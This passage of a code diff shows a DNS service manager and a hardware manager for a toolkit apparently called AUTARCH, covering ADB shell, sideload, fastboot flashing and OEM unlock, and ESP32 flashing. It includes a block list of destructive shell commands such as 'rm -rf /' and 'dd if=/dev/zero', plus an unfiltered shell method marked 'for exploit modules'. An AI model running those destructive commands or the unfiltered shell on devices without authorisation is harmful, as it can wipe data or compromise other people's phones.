return self._config.get('api_token', '')
|
||||
|
||||
def find_binary(self) -> str:
|
||||
"""Find the autarch-dns binary."""
|
||||
binary = find_tool('autarch-dns')
|
||||
if binary:
|
||||
return binary
|
||||
# Check common locations
|
||||
base = Path(__file__).parent.parent
|
||||
candidates = [
|
||||
base / 'services' / 'dns-server' / 'autarch-dns',
|
||||
base / 'services' / 'dns-server' / 'autarch-dns.exe',
|
||||
base / 'tools' / 'windows-x86_64' / 'autarch-dns.exe',
|
||||
base / 'tools' / 'linux-arm64' / 'autarch-dns',
|
||||
base / 'tools' / 'linux-x86_64' / 'autarch-dns',
|
||||
]
|
||||
for c in candidates:
|
||||
if c.exists():
|
||||
return str(c)
|
||||
return None
|
||||
|
||||
def is_running(self) -> bool:
|
||||
"""Check if the DNS service is running."""
|
||||
# Check process
|
||||
if self._process and self._process.poll() is None:
|
||||
return True
|
||||
# Check by API
|
||||
try:
|
||||
resp = self._api_get('/api/status')
|
||||
return resp.get('ok', False)
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def start(self) -> dict:
|
||||
"""Start the DNS service."""
|
||||
if self.is_running():
|
||||
return {'ok': True, 'message': 'DNS service already running'}
|
||||
|
||||
binary = self.find_binary()
|
||||
if not binary:
|
||||
return {'ok': False, 'error': 'autarch-dns binary not found. Build it with: cd services/dns-server && go build'}
|
||||
|
||||
# Ensure zone dirs exist
|
||||
os.makedirs(self._config.get('zones_dir', ''), exist_ok=True)
|
||||
os.makedirs(self._config.get('dnssec_keys_dir', ''), exist_ok=True)
|
||||
|
||||
# Save config for the Go binary to read
|
||||
self._save_config()
|
||||
|
||||
cmd = [
|
||||
binary,
|
||||
'-config', self._config_path,
|
||||
]
|
||||
|
||||
try:
|
||||
kwargs = {
|
||||
'stdout': subprocess.DEVNULL,
|
||||
'stderr': subprocess.DEVNULL,
|
||||
}
|
||||
if sys.platform == 'win32':
|
||||
kwargs['creationflags'] = (
|
||||
subprocess.CREATE_NEW_PROCESS_GROUP |
|
||||
subprocess.CREATE_NO_WINDOW
|
||||
)
|
||||
else:
|
||||
kwargs['start_new_session'] = True
|
||||
|
||||
self._process = subprocess.Popen(cmd, **kwargs)
|
||||
self._pid = self._process.pid
|
||||
|
||||
# Wait for API to be ready
|
||||
for _ in range(30):
|
||||
time.sleep(0.5)
|
||||
try:
|
||||
resp = self._api_get('/api/status')
|
||||
if resp.get('ok'):
|
||||
return {
|
||||
'ok': True,
|
||||
'message': f'DNS service started (PID {self._pid})',
|
||||
'pid': self._pid,
|
||||
}
|
||||
except Exception:
|
||||
if self._process.poll() is not None:
|
||||
return {'ok': False, 'error': 'DNS service exited immediately — may need admin/root for port 53'}
|
||||
continue
|
||||
|
||||
return {'ok': False, 'error': 'DNS service started but API not responding'}
|
||||
except PermissionError:
|
||||
return {'ok': False, 'error': 'Permission denied — DNS on port 53 requires admin/root'}
|
||||
except Exception as e:
|
||||
return {'ok': False, 'error': str(e)}
|
||||
|
||||
def stop(self) -> dict:
|
||||
"""Stop the DNS service."""
|
||||
if self._process and self._process.poll() is None:
|
||||
try:
|
||||
if sys.platform == 'win32':
|
||||
self._process.terminate()
|
||||
else:
|
||||
os.kill(self._process.pid, signal.SIGTERM)
|
||||
self._process.wait(timeout=5)
|
||||
except Exception:
|
||||
self._process.kill()
|
||||
self._process = None
|
||||
self._pid = None
|
||||
return {'ok': True, 'message': 'DNS service stopped'}
|
||||
return {'ok': True, 'message': 'DNS service was not running'}
|
||||
|
||||
def status(self) -> dict:
|
||||
"""Get service status."""
|
||||
running = self.is_running()
|
||||
result = {
|
||||
'running': running,
|
||||
'pid': self._pid,
|
||||
'listen_dns': self._config.get('listen_dns', ''),
|
||||
'listen_api': self._config.get('listen_api', ''),
|
||||
}
|
||||
if running:
|
||||
try:
|
||||
resp = self._api_get('/api/status')
|
||||
result.update(resp)
|
||||
except Exception:
|
||||
pass
|
||||
return result
|
||||
|
||||
# ── API wrappers ─────────────────────────────────────────────────────
|
||||
|
||||
def _api_get(self, endpoint: str) -> dict:
|
||||
if not _HAS_REQUESTS:
|
||||
return self._api_urllib(endpoint, 'GET')
|
||||
resp = requests.get(
|
||||
f'{self.api_base}{endpoint}',
|
||||
headers={'Authorization': f'Bearer {self.api_token}'},
|
||||
timeout=5,
|
||||
)
|
||||
return resp.json()
|
||||
|
||||
def _api_post(self, endpoint: str, data: dict = None) -> dict:
|
||||
if not _HAS_REQUESTS:
|
||||
return self._api_urllib(endpoint, 'POST', data)
|
||||
resp = requests.post(
|
||||
f'{self.api_base}{endpoint}',
|
||||
headers={'Authorization': f'Bearer {self.api_token}', 'Content-Type': 'application/json'},
|
||||
json=data or {},
|
||||
timeout=5,
|
||||
)
|
||||
return resp.json()
|
||||
|
||||
def _api_delete(self, endpoint: str) -> dict:
|
||||
if not _HAS_REQUESTS:
|
||||
return self._api_urllib(endpoint, 'DELETE')
|
||||
resp = requests.delete(
|
||||
f'{self.api_base}{endpoint}',
|
||||
headers={'Authorization': f'Bearer {self.api_token}'},
|
||||
timeout=5,
|
||||
)
|
||||
return resp.json()
|
||||
|
||||
def _api_put(self, endpoint: str, data: dict = None) -> dict:
|
||||
if not _HAS_REQUESTS:
|
||||
return self._api_urllib(endpoint, 'PUT', data)
|
||||
resp = requests.put(
|
||||
f'{self.api_base}{endpoint}',
|
||||
headers={'Authorization': f'Bearer {self.api_token}', 'Content-Type': 'application/json'},
|
||||
json=data or {},
|
||||
timeout=5,
|
||||
)
|
||||
return resp.json()
|
||||
|
||||
def _api_urllib(self, endpoint: str, method: str, data: dict = None) -> dict:
|
||||
"""Fallback using urllib (no requests dependency)."""
|
||||
import urllib.request
|
||||
url = f'{self.api_base}{endpoint}'
|
||||
body = json.dumps(data).encode() if data else None
|
||||
req = urllib.request.Request(
|
||||
url, data=body, method=method,
|
||||
headers={
|
||||
'Authorization': f'Bearer {self.api_token}',
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
)
|
||||
with urllib.request.urlopen(req, timeout=5) as resp:
|
||||
return json.loads(resp.read())
|
||||
|
||||
# ── High-level zone operations ───────────────────────────────────────
|
||||
|
||||
def list_zones(self) -> list:
|
||||
return self._api_get('/api/zones').get('zones', [])
|
||||
|
||||
def create_zone(self, domain: str) -> dict:
|
||||
return self._api_post('/api/zones', {'domain': domain})
|
||||
|
||||
def get_zone(self, domain: str) -> dict:
|
||||
return self._api_get(f'/api/zones/{domain}')
|
||||
|
||||
def delete_zone(self, domain: str) -> dict:
|
||||
return self._api_delete(f'/api/zones/{domain}')
|
||||
|
||||
def list_records(self, domain: str) -> list:
|
||||
return self._api_get(f'/api/zones/{domain}/records').get('records', [])
|
||||
|
||||
def add_record(self, domain: str, rtype: str, name: str, value: str,
|
||||
ttl: int = 300, priority: int = 0) -> dict:
|
||||
return self._api_post(f'/api/zones/{domain}/records', {
|
||||
'type': rtype, 'name': name, 'value': value,
|
||||
'ttl': ttl, 'priority': priority,
|
||||
})
|
||||
|
||||
def delete_record(self, domain: str, record_id: str) -> dict:
|
||||
return self._api_delete(f'/api/zones/{domain}/records/{record_id}')
|
||||
|
||||
def setup_mail_records(self, domain: str, mx_host: str = '',
|
||||
dkim_key: str = '', spf_allow: str = '') -> dict:
|
||||
return self._api_post(f'/api/zones/{domain}/mail-setup', {
|
||||
'mx_host': mx_host, 'dkim_key': dkim_key, 'spf_allow': spf_allow,
|
||||
})
|
||||
|
||||
def enable_dnssec(self, domain: str) -> dict:
|
||||
return self._api_post(f'/api/zones/{domain}/dnssec/enable')
|
||||
|
||||
def disable_dnssec(self, domain: str) -> dict:
|
||||
return self._api_post(f'/api/zones/{domain}/dnssec/disable')
|
||||
|
||||
def get_metrics(self) -> dict:
|
||||
return self._api_get('/api/metrics').get('metrics', {})
|
||||
|
||||
def get_config(self) -> dict:
|
||||
return self._config.copy()
|
||||
|
||||
def update_config(self, updates: dict) -> dict:
|
||||
for k, v in updates.items():
|
||||
if k in self._config:
|
||||
self._config[k] = v
|
||||
self._save_config()
|
||||
# Also update running service
|
||||
try:
|
||||
return self._api_put('/api/config', updates)
|
||||
except Exception:
|
||||
return {'ok': True, 'message': 'Config saved (service not running)'}
|
||||
|
||||
|
||||
# ── Singleton ────────────────────────────────────────────────────────────────
|
||||
|
||||
_instance = None
|
||||
_lock = threading.Lock()
|
||||
|
||||
|
||||
def get_dns_service() -> DNSServiceManager:
|
||||
global _instance
|
||||
if _instance is None:
|
||||
with _lock:
|
||||
if _instance is None:
|
||||
_instance = DNSServiceManager()
|
||||
return _instance
|
||||
640
core/hardware.py
Normal file
640
core/hardware.py
Normal file
@@ -0,0 +1,640 @@
|
||||
"""
|
||||
AUTARCH Hardware Manager
|
||||
ADB/Fastboot device management and ESP32 serial flashing.
|
||||
|
||||
Provides server-side access to USB-connected devices:
|
||||
- ADB: Android device shell, sideload, push/pull, logcat
|
||||
- Fastboot: Partition flashing, OEM unlock, device info
|
||||
- Serial/ESP32: Port detection, chip ID, firmware flash, serial monitor
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import json
|
||||
import time
|
||||
import subprocess
|
||||
import threading
|
||||
from pathlib import Path
|
||||
from typing import Optional, List, Dict, Any, Callable
|
||||
|
||||
from core.paths import find_tool, get_data_dir
|
||||
|
||||
# Try importing serial
|
||||
PYSERIAL_AVAILABLE = False
|
||||
try:
|
||||
import serial
|
||||
import serial.tools.list_ports
|
||||
PYSERIAL_AVAILABLE = True
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
# Try importing esptool
|
||||
ESPTOOL_AVAILABLE = False
|
||||
try:
|
||||
import esptool
|
||||
ESPTOOL_AVAILABLE = True
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
|
||||
class HardwareManager:
|
||||
"""Manages ADB, Fastboot, and Serial/ESP32 devices."""
|
||||
|
||||
def __init__(self):
|
||||
# Tool paths - find_tool checks system PATH first, then bundled
|
||||
self.adb_path = find_tool('adb')
|
||||
self.fastboot_path = find_tool('fastboot')
|
||||
|
||||
# Data directory
|
||||
self._data_dir = get_data_dir() / 'hardware'
|
||||
self._data_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Serial monitor state
|
||||
self._monitor_thread = None
|
||||
self._monitor_running = False
|
||||
self._monitor_serial = None
|
||||
self._monitor_buffer = []
|
||||
self._monitor_lock = threading.Lock()
|
||||
|
||||
# Flash/sideload progress state
|
||||
self._operation_progress = {}
|
||||
self._operation_lock = threading.Lock()
|
||||
|
||||
# ── Status ──────────────────────────────────────────────────────
|
||||
|
||||
def get_status(self):
|
||||
"""Get availability status of all backends."""
|
||||
return {
|
||||
'adb': self.adb_path is not None,
|
||||
'adb_path': self.adb_path or '',
|
||||
'fastboot': self.fastboot_path is not None,
|
||||
'fastboot_path': self.fastboot_path or '',
|
||||
'serial': PYSERIAL_AVAILABLE,
|
||||
'esptool': ESPTOOL_AVAILABLE,
|
||||
}
|
||||
|
||||
# ── ADB Methods ────────────────────────────────────────────────
|
||||
|
||||
def _run_adb(self, args, serial=None, timeout=30):
|
||||
"""Run an adb command and return (stdout, stderr, returncode)."""
|
||||
if not self.adb_path:
|
||||
return '', 'adb not found', 1
|
||||
cmd = [self.adb_path]
|
||||
if serial:
|
||||
cmd += ['-s', serial]
|
||||
cmd += args
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, text=True, timeout=timeout
|
||||
)
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
except subprocess.TimeoutExpired:
|
||||
return '', 'Command timed out', 1
|
||||
except Exception as e:
|
||||
return '', str(e), 1
|
||||
|
||||
def adb_devices(self):
|
||||
"""List connected ADB devices."""
|
||||
stdout, stderr, rc = self._run_adb(['devices', '-l'])
|
||||
if rc != 0:
|
||||
return []
|
||||
devices = []
|
||||
for line in stdout.strip().split('\n')[1:]:
|
||||
line = line.strip()
|
||||
if not line or 'List of' in line:
|
||||
continue
|
||||
parts = line.split()
|
||||
if len(parts) < 2:
|
||||
continue
|
||||
dev = {
|
||||
'serial': parts[0],
|
||||
'state': parts[1],
|
||||
'model': '',
|
||||
'product': '',
|
||||
'transport_id': '',
|
||||
}
|
||||
for part in parts[2:]:
|
||||
if ':' in part:
|
||||
key, val = part.split(':', 1)
|
||||
if key == 'model':
|
||||
dev['model'] = val
|
||||
elif key == 'product':
|
||||
dev['product'] = val
|
||||
elif key == 'transport_id':
|
||||
dev['transport_id'] = val
|
||||
elif key == 'device':
|
||||
dev['device'] = val
|
||||
devices.append(dev)
|
||||
return devices
|
||||
|
||||
def adb_device_info(self, serial):
|
||||
"""Get detailed info about an ADB device."""
|
||||
props = {}
|
||||
prop_keys = {
|
||||
'ro.product.model': 'model',
|
||||
'ro.product.brand': 'brand',
|
||||
'ro.product.name': 'product',
|
||||
'ro.build.version.release': 'android_version',
|
||||
'ro.build.version.sdk': 'sdk',
|
||||
'ro.build.display.id': 'build',
|
||||
'ro.build.version.security_patch': 'security_patch',
|
||||
'ro.product.cpu.abi': 'cpu_abi',
|
||||
'ro.serialno': 'serialno',
|
||||
'ro.bootimage.build.date': 'build_date',
|
||||
}
|
||||
# Get all properties at once
|
||||
stdout, _, rc = self._run_adb(['shell', 'getprop'], serial=serial)
|
||||
if rc == 0:
|
||||
for line in stdout.split('\n'):
|
||||
m = re.match(r'\[(.+?)\]:\s*\[(.+?)\]', line)
|
||||
if m:
|
||||
key, val = m.group(1), m.group(2)
|
||||
if key in prop_keys:
|
||||
props[prop_keys[key]] = val
|
||||
|
||||
# Battery level
|
||||
stdout, _, rc = self._run_adb(['shell', 'dumpsys', 'battery'], serial=serial)
|
||||
if rc == 0:
|
||||
for line in stdout.split('\n'):
|
||||
line = line.strip()
|
||||
if line.startswith('level:'):
|
||||
props['battery'] = line.split(':')[1].strip()
|
||||
elif line.startswith('status:'):
|
||||
status_map = {'2': 'Charging', '3': 'Discharging', '4': 'Not charging', '5': 'Full'}
|
||||
val = line.split(':')[1].strip()
|
||||
props['battery_status'] = status_map.get(val, val)
|
||||
|
||||
# Storage
|
||||
stdout, _, rc = self._run_adb(['shell', 'df', '/data'], serial=serial, timeout=10)
|
||||
if rc == 0:
|
||||
lines = stdout.strip().split('\n')
|
||||
if len(lines) >= 2:
|
||||
parts = lines[1].split()
|
||||
if len(parts) >= 4:
|
||||
props['storage_total'] = parts[1]
|
||||
props['storage_used'] = parts[2]
|
||||
props['storage_free'] = parts[3]
|
||||
|
||||
props['serial'] = serial
|
||||
return props
|
||||
|
||||
def adb_shell(self, serial, command):
|
||||
"""Run a shell command on an ADB device."""
|
||||
# Sanitize: block dangerous commands
|
||||
dangerous = ['rm -rf /', 'mkfs', 'dd if=/dev/zero', 'format', '> /dev/', 'reboot']
|
||||
cmd_lower = command.lower().strip()
|
||||
for d in dangerous:
|
||||
if d in cmd_lower:
|
||||
return {'output': f'Blocked dangerous command: {d}', 'returncode': 1}
|
||||
|
||||
stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=30)
|
||||
return {
|
||||
'output': stdout or stderr,
|
||||
'returncode': rc,
|
||||
}
|
||||
|
||||
def adb_shell_raw(self, serial, command, timeout=30):
|
||||
"""Run shell command without safety filter. For exploit modules."""
|
||||
stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=timeout)
|
||||
return {'output': stdout or stderr, 'returncode': rc}
|
||||
|
||||
def adb_reboot(self, serial, mode='system'):
|
||||
"""Reboot an ADB device. mode: system, recovery, bootloader"""
|
||||
args = ['reboot']
|
||||
if mode and mode != 'system':
|
||||
args.append(mode)
|
||||
stdout, stderr, rc = self._run_adb(args, serial=serial, timeout=15)
|
||||
return {'success': rc == 0, 'output': stdout or stderr}
|
||||
|
||||
def adb_install(self, serial, apk_path):
|
||||
"""Install an APK on device."""
|
||||
if not os.path.isfile(apk_path):
|
||||
return {'success': False, 'error': f'File not found: {apk_path}'}
|
||||
stdout, stderr, rc = self._run_adb(
|
||||
['install', '-r', apk_path], serial=serial, timeout=120
|
||||
)
|
||||
return {'success': rc == 0, 'output': stdout or stderr}
|
||||
|
||||
def adb_sideload(self, serial, filepath):
|
||||
"""Sideload a file (APK/ZIP). Returns operation ID for progress tracking."""
|
||||
if not os.path.isfile(filepath):
|
||||
return {'success': False, 'error': f'File not found: {filepath}'}
|
||||
|
||||
op_id = f'sideload_{int(time.time())}'
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'starting', 'progress': 0, 'message': 'Starting sideload...'
|
||||
}
|
||||
|
||||
def _do_sideload():
|
||||
try:
|
||||
ext = os.path.splitext(filepath)[1].lower()
|
||||
if ext == '.apk':
|
||||
cmd = [self.adb_path, '-s', serial, 'install', '-r', filepath]
|
||||
else:
|
||||
cmd = [self.adb_path, '-s', serial, 'sideload', filepath]
|
||||
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id]['status'] = 'running'
|
||||
self._operation_progress[op_id]['progress'] = 10
|
||||
self._operation_progress[op_id]['message'] = 'Transferring...'
|
||||
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
|
||||
|
||||
with self._operation_lock:
|
||||
if result.returncode == 0:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'done', 'progress': 100,
|
||||
'message': 'Sideload complete',
|
||||
'output': result.stdout,
|
||||
}
|
||||
else:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'error', 'progress': 0,
|
||||
'message': result.stderr or 'Sideload failed',
|
||||
}
|
||||
except Exception as e:
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'error', 'progress': 0, 'message': str(e),
|
||||
}
|
||||
|
||||
thread = threading.Thread(target=_do_sideload, daemon=True)
|
||||
thread.start()
|
||||
return {'success': True, 'op_id': op_id}
|
||||
|
||||
def adb_push(self, serial, local_path, remote_path):
|
||||
"""Push a file to device."""
|
||||
if not os.path.isfile(local_path):
|
||||
return {'success': False, 'error': f'File not found: {local_path}'}
|
||||
stdout, stderr, rc = self._run_adb(
|
||||
['push', local_path, remote_path], serial=serial, timeout=120
|
||||
)
|
||||
return {'success': rc == 0, 'output': stdout or stderr}
|
||||
|
||||
def adb_pull(self, serial, remote_path, local_path=None):
|
||||
"""Pull a file from device."""
|
||||
if not local_path:
|
||||
local_path = str(self._data_dir / os.path.basename(remote_path))
|
||||
stdout, stderr, rc = self._run_adb(
|
||||
['pull', remote_path, local_path], serial=serial, timeout=120
|
||||
)
|
||||
return {'success': rc == 0, 'output': stdout or stderr, 'local_path': local_path}
|
||||
|
||||
def adb_logcat(self, serial, lines=100):
|
||||
"""Get last N lines of logcat."""
|
||||
stdout, stderr, rc = self._run_adb(
|
||||
['logcat', '-d', '-t', str(lines)], serial=serial, timeout=15
|
||||
)
|
||||
return {'output': stdout or stderr, 'lines': lines}
|
||||
|
||||
# ── Fastboot Methods ───────────────────────────────────────────
|
||||
|
||||
def _run_fastboot(self, args, serial=None, timeout=30):
|
||||
"""Run a fastboot command."""
|
||||
if not self.fastboot_path:
|
||||
return '', 'fastboot not found', 1
|
||||
cmd = [self.fastboot_path]
|
||||
if serial:
|
||||
cmd += ['-s', serial]
|
||||
cmd += args
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, text=True, timeout=timeout
|
||||
)
|
||||
# fastboot outputs to stderr for many commands
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
except subprocess.TimeoutExpired:
|
||||
return '', 'Command timed out', 1
|
||||
except Exception as e:
|
||||
return '', str(e), 1
|
||||
|
||||
def fastboot_devices(self):
|
||||
"""List fastboot devices."""
|
||||
stdout, stderr, rc = self._run_fastboot(['devices'])
|
||||
if rc != 0:
|
||||
return []
|
||||
devices = []
|
||||
output = stdout or stderr
|
||||
for line in output.strip().split('\n'):
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
parts = line.split('\t')
|
||||
if len(parts) >= 2:
|
||||
devices.append({
|
||||
'serial': parts[0].strip(),
|
||||
'state': parts[1].strip(),
|
||||
})
|
||||
return devices
|
||||
|
||||
def fastboot_device_info(self, serial):
|
||||
"""Get fastboot device variables."""
|
||||
info = {}
|
||||
vars_to_get = [
|
||||
'product', 'variant', 'serialno', 'secure', 'unlocked',
|
||||
'is-userspace', 'hw-revision', 'battery-level',
|
||||
'current-slot', 'slot-count',
|
||||
]
|
||||
for var in vars_to_get:
|
||||
stdout, stderr, rc = self._run_fastboot(
|
||||
['getvar', var], serial=serial, timeout=10
|
||||
)
|
||||
output = stderr or stdout # fastboot puts getvar in stderr
|
||||
for line in output.split('\n'):
|
||||
if line.startswith(f'{var}:'):
|
||||
info[var] = line.split(':', 1)[1].strip()
|
||||
break
|
||||
info['serial'] = serial
|
||||
return info
|
||||
|
||||
def fastboot_flash(self, serial, partition, filepath):
|
||||
"""Flash a partition. Returns operation ID for progress tracking."""
|
||||
if not os.path.isfile(filepath):
|
||||
return {'success': False, 'error': f'File not found: {filepath}'}
|
||||
|
||||
valid_partitions = [
|
||||
'boot', 'recovery', 'system', 'vendor', 'vbmeta', 'dtbo',
|
||||
'radio', 'bootloader', 'super', 'userdata', 'cache',
|
||||
'product', 'system_ext', 'vendor_boot', 'init_boot',
|
||||
]
|
||||
if partition not in valid_partitions:
|
||||
return {'success': False, 'error': f'Invalid partition: {partition}'}
|
||||
|
||||
op_id = f'flash_{int(time.time())}'
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'starting', 'progress': 0,
|
||||
'message': f'Flashing {partition}...',
|
||||
}
|
||||
|
||||
def _do_flash():
|
||||
try:
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id]['status'] = 'running'
|
||||
self._operation_progress[op_id]['progress'] = 10
|
||||
|
||||
result = subprocess.run(
|
||||
[self.fastboot_path, '-s', serial, 'flash', partition, filepath],
|
||||
capture_output=True, text=True, timeout=600,
|
||||
)
|
||||
|
||||
with self._operation_lock:
|
||||
output = result.stderr or result.stdout
|
||||
if result.returncode == 0:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'done', 'progress': 100,
|
||||
'message': f'Flashed {partition} successfully',
|
||||
'output': output,
|
||||
}
|
||||
else:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'error', 'progress': 0,
|
||||
'message': output or 'Flash failed',
|
||||
}
|
||||
except Exception as e:
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'error', 'progress': 0, 'message': str(e),
|
||||
}
|
||||
|
||||
thread = threading.Thread(target=_do_flash, daemon=True)
|
||||
thread.start()
|
||||
return {'success': True, 'op_id': op_id}
|
||||
|
||||
def fastboot_reboot(self, serial, mode='system'):
|
||||
"""Reboot a fastboot device. mode: system, bootloader, recovery"""
|
||||
if mode == 'system':
|
||||
args = ['reboot']
|
||||
elif mode == 'bootloader':
|
||||
args = ['reboot-bootloader']
|
||||
elif mode == 'recovery':
|
||||
args = ['reboot', 'recovery']
|
||||
else:
|
||||
args = ['reboot']
|
||||
stdout, stderr, rc = self._run_fastboot(args, serial=serial, timeout=15)
|
||||
return {'success': rc == 0, 'output': stderr or stdout}
|
||||
|
||||
def fastboot_oem_unlock(self, serial):
|
||||
"""OEM unlock (requires user confirmation in UI)."""
|
||||
stdout, stderr, rc = self._run_fastboot(
|
||||
['flashing', 'unlock'], serial=serial, timeout=30
|
||||
)
|
||||
return {'success': rc == 0, 'output': stderr or stdout}
|
||||
|
||||
def get_operation_progress(self, op_id):
|
||||
"""Get progress for a running operation."""
|
||||
with self._operation_lock:
|
||||
return self._operation_progress.get(op_id, {
|
||||
'status': 'unknown', 'progress': 0, 'message': 'Unknown operation',
|
||||
})
|
||||
|
||||
# ── Serial / ESP32 Methods ─────────────────────────────────────
|
||||
|
||||
def list_serial_ports(self):
|
||||
"""List available serial ports."""
|
||||
if not PYSERIAL_AVAILABLE:
|
||||
return []
|
||||
ports = []
|
||||
for port in serial.tools.list_ports.comports():
|
||||
ports.append({
|
||||
'port': port.device,
|
||||
'desc': port.description,
|
||||
'hwid': port.hwid,
|
||||
'vid': f'{port.vid:04x}' if port.vid else '',
|
||||
'pid': f'{port.pid:04x}' if port.pid else '',
|
||||
'manufacturer': port.manufacturer or '',
|
||||
'serial_number': port.serial_number or '',
|
||||
})
|
||||
return ports
|
||||
|
||||
def detect_esp_chip(self, port, baud=115200):
|
||||
"""Detect ESP chip type using esptool."""
|
||||
if not ESPTOOL_AVAILABLE:
|
||||
return {'success': False, 'error': 'esptool not installed'}
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['python3', '-m', 'esptool', '--port', port, '--baud', str(baud), 'chip_id'],
|
||||
capture_output=True, text=True, timeout=15,
|
||||
)
|
||||
output = result.stdout + result.stderr
|
||||
chip = 'Unknown'
|
||||
chip_id = ''
|
||||
for line in output.split('\n'):
|
||||
if 'Chip is' in line:
|
||||
chip = line.split('Chip is')[1].strip()
|
||||
elif 'Chip ID:' in line:
|
||||
chip_id = line.split('Chip ID:')[1].strip()
|
||||
return {
|
||||
'success': result.returncode == 0,
|
||||
'chip': chip,
|
||||
'chip_id': chip_id,
|
||||
'output': output,
|
||||
}
|
||||
except subprocess.TimeoutExpired:
|
||||
return {'success': False, 'error': 'Detection timed out'}
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
def flash_esp(self, port, firmware_path, baud=460800):
|
||||
"""Flash ESP32 firmware. Returns operation ID for progress tracking."""
|
||||
if not ESPTOOL_AVAILABLE:
|
||||
return {'success': False, 'error': 'esptool not installed'}
|
||||
if not os.path.isfile(firmware_path):
|
||||
return {'success': False, 'error': f'File not found: {firmware_path}'}
|
||||
|
||||
op_id = f'esp_flash_{int(time.time())}'
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'starting', 'progress': 0,
|
||||
'message': 'Starting ESP flash...',
|
||||
}
|
||||
|
||||
def _do_flash():
|
||||
try:
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id]['status'] = 'running'
|
||||
self._operation_progress[op_id]['progress'] = 5
|
||||
self._operation_progress[op_id]['message'] = 'Connecting to chip...'
|
||||
|
||||
cmd = [
|
||||
'python3', '-m', 'esptool',
|
||||
'--port', port,
|
||||
'--baud', str(baud),
|
||||
'write_flash', '0x0', firmware_path,
|
||||
]
|
||||
proc = subprocess.Popen(
|
||||
cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,
|
||||
)
|
||||
|
||||
output_lines = []
|
||||
for line in proc.stdout:
|
||||
line = line.strip()
|
||||
output_lines.append(line)
|
||||
|
||||
# Parse progress from esptool output
|
||||
if 'Writing at' in line and '%' in line:
|
||||
m = re.search(r'\((\d+)\s*%\)', line)
|
||||
if m:
|
||||
pct = int(m.group(1))
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id]['progress'] = pct
|
||||
self._operation_progress[op_id]['message'] = f'Flashing... {pct}%'
|
||||
elif 'Connecting' in line:
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id]['message'] = 'Connecting...'
|
||||
elif 'Erasing' in line:
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id]['progress'] = 3
|
||||
self._operation_progress[op_id]['message'] = 'Erasing flash...'
|
||||
|
||||
proc.wait(timeout=300)
|
||||
output = '\n'.join(output_lines)
|
||||
|
||||
with self._operation_lock:
|
||||
if proc.returncode == 0:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'done', 'progress': 100,
|
||||
'message': 'Flash complete',
|
||||
'output': output,
|
||||
}
|
||||
else:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'error', 'progress': 0,
|
||||
'message': output or 'Flash failed',
|
||||
}
|
||||
except Exception as e:
|
||||
with self._operation_lock:
|
||||
self._operation_progress[op_id] = {
|
||||
'status': 'error', 'progress': 0, 'message': str(e),
|
||||
}
|
||||
|
||||
thread = threading.Thread(target=_do_flash, daemon=True)
|
||||
thread.start()
|
||||
return {'success': True, 'op_id': op_id}
|
||||
|
||||
# ── Serial Monitor ─────────────────────────────────────────────
|
||||
|
||||
def serial_monitor_start(self, port, baud=115200):
|
||||
"""Start serial monitor on a port."""
|
||||
if not PYSERIAL_AVAILABLE:
|
||||
return {'success': False, 'error': 'pyserial not installed'}
|
||||
if self._monitor_running:
|
||||
return {'success': False, 'error': 'Monitor already running'}
|
||||
|
||||
try:
|
||||
self._monitor_serial = serial.Serial(port, baud, timeout=0.1)
|
||||
except Exception as e:
|
||||
return {'success': False, 'error': str(e)}
|
||||
|
||||
self._monitor_running = True
|
||||
self._monitor_buffer = []
|
||||
|
||||
def _read_loop():
|
||||
while self._monitor_running and self._monitor_serial and self._monitor_serial.is_open:
|
||||
try:
|
||||
data = self._monitor_serial.readline()
|
||||
if data:
|
||||
text = data.decode('utf-8', errors='replace').rstrip()
|
||||
with self._monitor_lock:
|
||||
self._monitor_buffer.append({
|
||||
'time': time.time(),
|
||||
'data': text,
|
||||
})
|
||||
# Keep buffer manageable
|
||||
if len(self._monitor_buffer) > 5000:
|
||||
self._monitor_buffer = self._monitor_buffer[-3000:]
|
||||
except Exception:
|
||||
if not self._monitor_running:
|
||||
break
|
||||
time.sleep(0.1)
|
||||
|
||||
self._monitor_thread = threading.Thread(target=_read_loop, daemon=True)
|
||||
self._monitor_thread.start()
|
||||
return {'success': True, 'port': port, 'baud': baud}
|
||||
|
||||
def serial_monitor_stop(self):
|
||||
"""Stop serial monitor."""
|
||||
self._monitor_running = False
|
||||
if self._monitor_serial and self._monitor_serial.is_open:
|
||||
try:
|
||||
self._monitor_serial.close()
|
||||
except Exception:
|
||||
pass
|
||||
self._monitor_serial = None
|
||||
return {'success': True}
|
||||
|
||||
def serial_monitor_send(self, data):
|
||||
